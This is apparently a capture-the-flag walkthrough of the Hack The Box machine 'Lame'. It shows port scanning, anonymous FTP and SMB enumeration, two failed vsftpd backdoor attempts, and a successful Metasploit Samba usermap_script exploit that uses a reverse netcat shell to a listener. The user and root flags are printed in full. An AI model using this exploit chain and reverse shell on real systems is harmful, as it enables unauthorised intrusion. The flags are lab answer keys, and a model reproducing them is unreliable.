Htb lame

nmap verbose scan

```
└─$nmap -v -p- -Pn 10.129.190.214
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-19 20:49 +08
Initiating Parallel DNS resolution of 1 host. at 20:49
Completed Parallel DNS resolution of 1 host. at 20:49, 0.01s elapsed
Initiating Connect Scan at 20:49
Scanning 10.129.190.214 [65535 ports]
Discovered open port 21/tcp on 10.129.190.214
Discovered open port 445/tcp on 10.129.190.214
Discovered open port 139/tcp on 10.129.190.214
Discovered open port 22/tcp on 10.129.190.214
Connect Scan Timing: About 7.73% done; ETC: 20:55 (0:06:10 remaining)
Connect Scan Timing: About 20.78% done; ETC: 20:53 (0:03:53 remaining)
Connect Scan Timing: About 36.58% done; ETC: 20:53 (0:02:38 remaining)
Connect Scan Timing: About 50.94% done; ETC: 20:52 (0:01:57 remaining)
Connect Scan Timing: About 64.08% done; ETC: 20:52 (0:01:25 remaining)
Connect Scan Timing: About 73.61% done; ETC: 20:53 (0:01:05 remaining)
Connect Scan Timing: About 81.50% done; ETC: 20:53 (0:00:48 remaining)
Completed Connect Scan at 20:53, 289.26s elapsed (65535 total ports)
Nmap scan report for 10.129.190.214
Host is up (0.19s latency).
Not shown: 65531 filtered ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
```

nmap default script scan , default version scan
nmap -v -Pn -p21,22,139,445 -sC -sV 10.129.190.214

```
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.12
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
|_clock-skew: mean: 2h00m35s, deviation: 2h49m43s, median: 34s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-08-19T08:59:39-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```

ftp enumeration

```
┌─[user@parrot]─[~]
└──╼ $ftp
ftp> open
(to) lame
Connected to lame.
220 (vsFTPd 2.3.4)
Name (lame:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 .
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ..
226 Directory send OK.
ftp>
```

searchsploit vsftpd 2.3.4

```
┌─[user@parrot]─[~]
└──╼ $searchsploit vsFTPd 2.3.4
-----------------------------------------------------------
 Exploit Title
-----------------------------------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
-----------------------------------------------------------
```

samba enumeration

```
┌─[user@parrot]─[~]
└──╼ $enum4linux lame
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Aug 19 21:05:3
4 2021

 ==========================
|    Target Information    |
 ==========================
Target ........... lame
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================================
|    Enumerating Workgroup/Domain on lame    |
 ============================================
[E] Can't find workgroup/domain


 ====================================
|    Nbtstat Information for lame    |
 ====================================
Looking up status of 10.129.190.214
No reply from 10.129.190.214

 ============================
|    Session Check on lame    |
 ============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
```

smbclient
smbclient -L //lame --option='client min protocol=NT1'

```
┌─[✗]─[user@parrot]─[~]
└──╼ $smbclient -L //lame --option='client min protocol=NT1'
Enter WORKGROUP\user's password:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME
```

smbmap

smbmap -H lame

```
┌─[user@parrot]─[~]
└──╼ $smbmap -H lame
[+] IP: lame:445t...    Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (lame server
(Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (lame server
(Samba 3.0.20-Debian))
```

smbclient \\\\10.129.190.214\\tmp --option='client min protocol=NT1'

```
┌─[✗]─[user@parrot]─[~]
└──╼ $smbclient \\\\10.129.190.214\\tmp --option='client min protocol=NT1'
Enter WORKGROUP\user's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
```

smb directory list

```
smb: \> dir
  .                                   D        0  Thu Aug 19 21:14:17 2021
  ..                                 DR        0  Sat Oct 31 14:33:58 2020
  5609.jsvc_up                        R        0  Thu Aug 19 20:49:52 2021
  .ICE-unix                          DH        0  Thu Aug 19 20:48:37 2021
  vmware-root                        DR        0  Thu Aug 19 20:49:07 2021
  .X11-unix                          DH        0  Thu Aug 19 20:49:03 2021
  .X0-lock                           HR       11  Thu Aug 19 20:49:03 2021
  vgauthsvclog.txt.0                  R     1600  Thu Aug 19 20:48:35 2021

                7282168 blocks of size 1024. 5385852 blocks available
```

samba potential exploit

```
┌──[user@parrot]─[~]
└──╼ $searchsploit samba 3.0.20
----------------------------------------------------------------------------------------
 Exploit Title
----------------------------------------------------------------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)
----------------------------------------------------------------------------------------
```

vsftpd exploit failed to run via metasploit

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  lame             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.129.190.214:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.190.214:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

vsftpd via exploit script from exploitdb failed

```
┌──[user@parrot]─[~/Desktop/lame]
└──╼ $python3 49757.py 10.129.190.214
Traceback (most recent call last):
  File "/home/user/Desktop/lame/49757.py", line 39, in <module>
    tn2=Telnet(host, 6200)
  File "/usr/lib/python3.9/telnetlib.py", line 218, in __init__
    self.open(host, port, timeout)
  File "/usr/lib/python3.9/telnetlib.py", line 235, in open
    self.sock = socket.create_connection((host, port), timeout)
  File "/usr/lib/python3.9/socket.py", line 843, in create_connection
    raise err
  File "/usr/lib/python3.9/socket.py", line 831, in create_connection
    sock.connect(sa)
TimeoutError: [Errno 110] Connection timed out
┌──[✗]─[user@parrot]─[~/Desktop/lame]
└──╼ $
```

samba exploit attempt

```
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  lame             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   139              yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands. No authentication is needed to exploit this vulnerability
  since this option is used to map usernames prior to authentication!

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html
```

```
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  lame             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

user shell

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.129.190.214:45011) at 2021-08-19 21:34:48 +0800

ls -lah
total 101K
drwxr-xr-x  21 root root 4.0K Oct 31  2020 .
drwxr-xr-x  21 root root 4.0K Oct 31  2020 ..
drwxr-xr-x   2 root root 4.0K Oct 31  2020 bin
drwxr-xr-x   4 root root 1.0K Nov  3  2020 boot
lrwxrwxrwx   1 root root   11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x  13 root root  14K Aug 19 08:48 dev
drwxr-xr-x  96 root root 4.0K Aug 19 09:31 etc
drwxr-xr-x   6 root root 4.0K Mar 14  2017 home
drwxr-xr-x   2 root root 4.0K Mar 16  2010 initrd
lrwxrwxrwx   1 root root   32 Oct 31  2020 initrd.img -> boot/initrd.img-2.6.24-32-server
lrwxrwxrwx   1 root root   32 Oct 31  2020 initrd.img.old -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root 4.0K Oct 31  2020 lib
drwx------   2 root root  16K Mar 16  2010 lost+found
drwxr-xr-x   4 root root 4.0K Mar 16  2010 media
drwxr-xr-x   3 root root 4.0K Apr 28  2010 mnt
-rw-------   1 root root  20K Aug 19 08:49 nohup.out
drwxr-xr-x   2 root root 4.0K Mar 16  2010 opt
dr-xr-xr-x 113 root root    0 Aug 19 08:48 proc
drwxr-xr-x  13 root root 4.0K Aug 19 08:49 root
drwxr-xr-x   2 root root 4.0K Nov  3  2020 sbin
drwxr-xr-x   2 root root 4.0K Mar 16  2010 srv
drwxr-xr-x  12 root root    0 Aug 19 08:48 sys
drwxrwxrwt   5 root root 4.0K Aug 19 09:35 tmp
drwxr-xr-x  12 root root 4.0K Apr 28  2010 usr
drwxr-xr-x  15 root root 4.0K May 20  2012 var
lrwxrwxrwx   1 root root   29 Oct 31  2020 vmlinuz -> boot/vmlinuz-2.6.24-32-server
lrwxrwxrwx   1 root root   29 Oct 31  2020 vmlinuz.old -> boot/vmlinuz-2.6.24-16-server
```

user flag

```
ls -lah
total 28K
drwxr-xr-x 2 makis makis 4.0K Mar 14  2017 .
drwxr-xr-x 6 root  root  4.0K Mar 14  2017 ..
-rw------- 1 makis makis 1.1K Mar 14  2017 .bash_history
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2.9K Mar 14  2017 .bashrc
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis   33 Aug 19 08:49 user.txt
cat user.txt
78f17a1a7c09172cbc883e5a7711c5d1
```

root flag

```
cd /root
ls -lah
total 80K
drwxr-xr-x 13 root root 4.0K Aug 19 08:49 .
drwxr-xr-x 21 root root 4.0K Oct 31  2020 ..
-rw-------  1 root root  373 Aug 19 08:49 .Xauthority
lrwxrwxrwx  1 root root    9 May 14  2012 .bash_history -> /dev/null
-rw-r--r--  1 root root 2.2K Oct 20  2007 .bashrc
drwx------  3 root root 4.0K May 20  2012 .config
drwx------  2 root root 4.0K May 20  2012 .filezilla
drwxr-xr-x  5 root root 4.0K Aug 19 08:49 .fluxbox
drwx------  2 root root 4.0K May 20  2012 .gconf
drwx------  2 root root 4.0K May 20  2012 .gconfd
drwxr-xr-x  2 root root 4.0K May 20  2012 .gstreamer-0.10
drwx------  4 root root 4.0K May 20  2012 .mozilla
-rw-r--r--  1 root root  141 Oct 20  2007 .profile
drwx------  5 root root 4.0K May 20  2012 .purple
-rwx------  1 root root    4 May 20  2012 .rhosts
drwxr-xr-x  2 root root 4.0K May 20  2012 .ssh
drwx------  2 root root 4.0K Aug 19 08:49 .vnc
drwxr-xr-x  2 root root 4.0K May 20  2012 Desktop
-rwx------  1 root root  401 May 20  2012 reset_logs.sh
-rw-------  1 root root   33 Aug 19 08:49 root.txt
-rw-r--r--  1 root root  118 Aug 19 08:49 vnc.log
cat root.txt
362ebbe4b2a5c070374f27c91bd7d0cb
```